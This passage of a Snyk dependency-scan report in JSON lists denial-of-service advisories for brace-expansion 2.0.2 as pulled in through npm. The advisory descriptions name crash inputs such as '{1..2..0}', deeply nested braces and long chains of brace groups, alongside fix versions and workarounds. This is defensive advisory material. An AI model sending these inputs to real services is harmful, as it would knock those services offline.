"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
